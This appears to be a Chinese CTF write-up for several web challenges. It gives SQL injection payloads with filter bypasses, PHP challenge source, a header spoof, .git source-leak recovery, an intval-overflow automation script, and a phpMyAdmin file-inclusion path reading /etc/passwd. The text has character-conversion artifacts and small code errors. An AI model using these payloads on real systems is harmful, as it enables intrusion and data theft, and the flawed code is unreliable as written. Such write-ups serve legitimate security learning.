Web
簽到
打開(kāi)訪問(wèn)http://ctfgame.acdxvfsvd.net:20002/index.php,發(fā)生301跳轉(zhuǎn),抓個(gè)包就能在cookie里看到flag。
滴!晨跑打卡

輸入框查詢時(shí)候url會(huì)變成
http://ctfgame.acdxvfsvd.net:20001/index.php?id=12,猜測(cè)可是是sql注入。經(jīng)過(guò)測(cè)試,可以看到空格被注入了,繞過(guò)空格的
%0a,/**/都被過(guò)濾了,但是%a0沒(méi)有過(guò)濾。構(gòu)造payload:
# 爆庫(kù)
?id=1%27%a0union%a0select%a01,database(),'3

得到數(shù)據(jù)庫(kù)
cgctf。
# 爆表
id=1%27%a0union%a0select%a01,table_name,3%a0from%a0information_schema.tables%a0where%a0table_schema=database()%a0and%a0'1'='1

得到表
pcnumber。
# 爆列
id=1%27%a0union%a0select%a01,column_name,3%a0from%a0information_schema.columns%a0where%a0table_name='pcnumber'%a0and%a0'1'='1

得到3個(gè)列。
# 爆內(nèi)容
id=1%27%a0union%a0select%a01,id,3%a0from%a0cgctf.pcnumber%a0union%a0select%a01,2,'3
但是最后沒(méi)有找到flag,可能放在別的地方。
最后找到庫(kù)flaaaaaaag,表f144444444g,th1s_1s_flag。最后payload:
1'%a0union%a0select%a0user(),(SELECT%a0GROUP_CONCAT(th1s_1s_flag%a0SEPARATOR%a00x3c62723e)%a0FROM%a0flaaaaaaag.f144444444g),3||'1
Go Lakers
有301跳轉(zhuǎn):

post viewsource后:
得到題目源碼:
<?php
error_reporting(0);
include 'getip.php';
ini_set('open_basedir','.');
if(isset($_POST['viewsource'])){
highlight_file(__FILE__);
die();
}
mt_srand(mktime()+$seed);
function de_code($value){
$value = base64_decode($value);
$result = '';
for($i=0;$i<strlen($value);$i++){
$result .= chr(ord($value[$i])-$i*2);
}
return $result;
}
if(!(getip() === '127.0.0.1' && file_get_contents($_GET['9527']) === 'nctf_is_good' && mt_rand(1,10000) === intval($_GET['go_Lakers']))){
header('location:https://bbs.hupu.com/24483652.html?share_from=kqapp');
}else{
echo 'great';
}
echo file_get_contents(de_code($_GET['file_']));
?>
想要繞過(guò)de_code()只需要自己編寫函數(shù)繞過(guò),繞過(guò)的函數(shù):
function en_code($value){
$value = base64_encode($value);
$result = '';
for($i=0;$i<strlen($value);$i++){
$result .= chr(ord($value[$i])+$i*2);
}
return $result
}
通過(guò)編寫的en_code函數(shù)把flag.php加密后傳過(guò)去。
最后構(gòu)造的payload為:
?file_=Zm5lbTZ6dH4=
Client-IP:127.0.0.1 // X-Forwarded-For被過(guò)濾了

全球最大交友網(wǎng)站
打開(kāi)題目給了一個(gè)css3時(shí)鐘。

訪問(wèn)
/.git/目錄,提示403,可能存在.git源碼泄露。
使用Githack工具:
$ python GitHack.py http://ctfgame.acdxvfsvd.net:20003/.git/
得到了README.md,里面提示Allsource files areingit tag1.0。是要去1.0版本里找源碼。具體可以參考p牛的博客。
使用腳本gitcommit.py,修改下target可以獲得一個(gè)readme.txt文件,但是里面是假的flag:
$ python gitcommit.py
再使用scrabble工具獲得.git文件:
$ ./scrabble http://ctfgame.acdxvfsvd.net:20003
通過(guò)git log查看提交歷史:

有三次
commit,把head去指向hint那一處:
git show HEAD 6b21737b59806722a89f33d26658b8508ac009e6
這里沒(méi)有真的flag:

show上次的結(jié)果:
$ git show HEAD 01b878ee5f39810a02f06b4a560571413020ea42
得到真正的flagflag{git_is_very_good}。

小綠草之最強(qiáng)大腦
提示源碼泄露,訪問(wèn)http://ctfgame.acdxvfsvd.net:20004/index.php.bak得到源碼:
<?php
if(isset($_SESSION['ans']) && isset($_POST['ans'])){
if(($_SESSION['ans'])+intval($_POST['input'])!=$_POST['ans']){
session_destroy();
echo '
<script language="javascript">
alert("怎么沒(méi)算對(duì)呢?");
window.history.back(-1); </script>';
}
else{
if(intval(time())-$_SESSION['time']<1){
session_destroy();
echo '
<script language="javascript">
alert("你手速太快啦,服務(wù)器承受不住!!!");
window.history.back(-1); </script> ';
}
if(intval(time())-$_SESSION['time']>2){
session_destroy();
echo '
<script language="javascript">
alert("你算的太慢了少年!");
window.history.back(-1); </script> ';
}
echo '
<script language="javascript">
alert("tql,算對(duì)了??!");
</script> ';
$_SESSION['count']++;
}
}
?>
這里的intval函數(shù)會(huì)防止程序溢出,所以輸入的大于21位的數(shù)字經(jīng)過(guò)PHP處理的值會(huì)發(fā)送改變:
<?php echo intval('4200000000000000000000');?>
32位系統(tǒng):2147483647 64位系統(tǒng):9223372036854775807
題目是64位系統(tǒng),溢出后為9223372036854775807。
編寫python:
import requests
import re
import time
s = requests.Session() # 因?yàn)橐B續(xù)計(jì)算,用來(lái)保存當(dāng)前會(huì)話的持續(xù)有效性
url = "http://ctfgame.acdxvfsvd.net:20004/"
number ="4200000000000000000000" #輸入的數(shù)字
r = s.get(url)
math = ''
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0',
}
while(1):
num_pattern =re.compile(r'<div style="display:inline;">(.*?)</div>')
num = num_pattern.findall(r.text) #正則提取公式
gg = "9223372036854775807"+'+'+math.join(num)[0:-1] #拼接真實(shí)的公式
print(gg)
ans = eval(gg) #利用eval直接來(lái)計(jì)算結(jié)果
print(ans)
data = "input={number}&ans={ans}%".format(number=number,ans=ans)
r =s.post(url,headers=headers,data=data)
time.sleep(1.5 #延時(shí)1.5秒
print(r.text)

easy_audit
給了源碼:
<?php
highlight_file(__FILE__);
error_reporting(0);
if($_REQUEST){
foreach ($_REQUEST as $key => $value) {
if(preg_match('/[a-zA-Z]/i', $value)) die('waf..');
}
}
if($_SERVER){
if(preg_match('/yulige|flag|nctf/i', $_SERVER['QUERY_STRING'])) die('waf..');
}
if(isset($_GET['yulige'])){
if(!(substr($_GET['yulige'], 32) === md5($_GET['yulige']))){ //日爆md5!!!!!!
die('waf..');
}else{
if(preg_match('/nctfisfun$/', $_GET['nctf']) && $_GET['nctf'] !== 'nctfisfun'){
$getflag = file_get_contents($_GET['flag']);
}
if(isset($getflag) && $getflag === 'ccc_liubi'){
include 'flag.php';
echo $flag;
}else die('waf..');
}
}
?>
基本操作
訪問(wèn)看到了phpadmin:

通過(guò)弱口令能夠登錄:
username: guest
passowrd: guest
接著通過(guò)phpmyadmin任意文件包含漏洞讀文件:
/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

然后執(zhí)行sql語(yǔ)句去查找flag:

去讀文件,方式是`/tmp/sess_+ 你的 phpMyAdmin session 值 q1s3uhjomj3lo3891ggud8kbm4
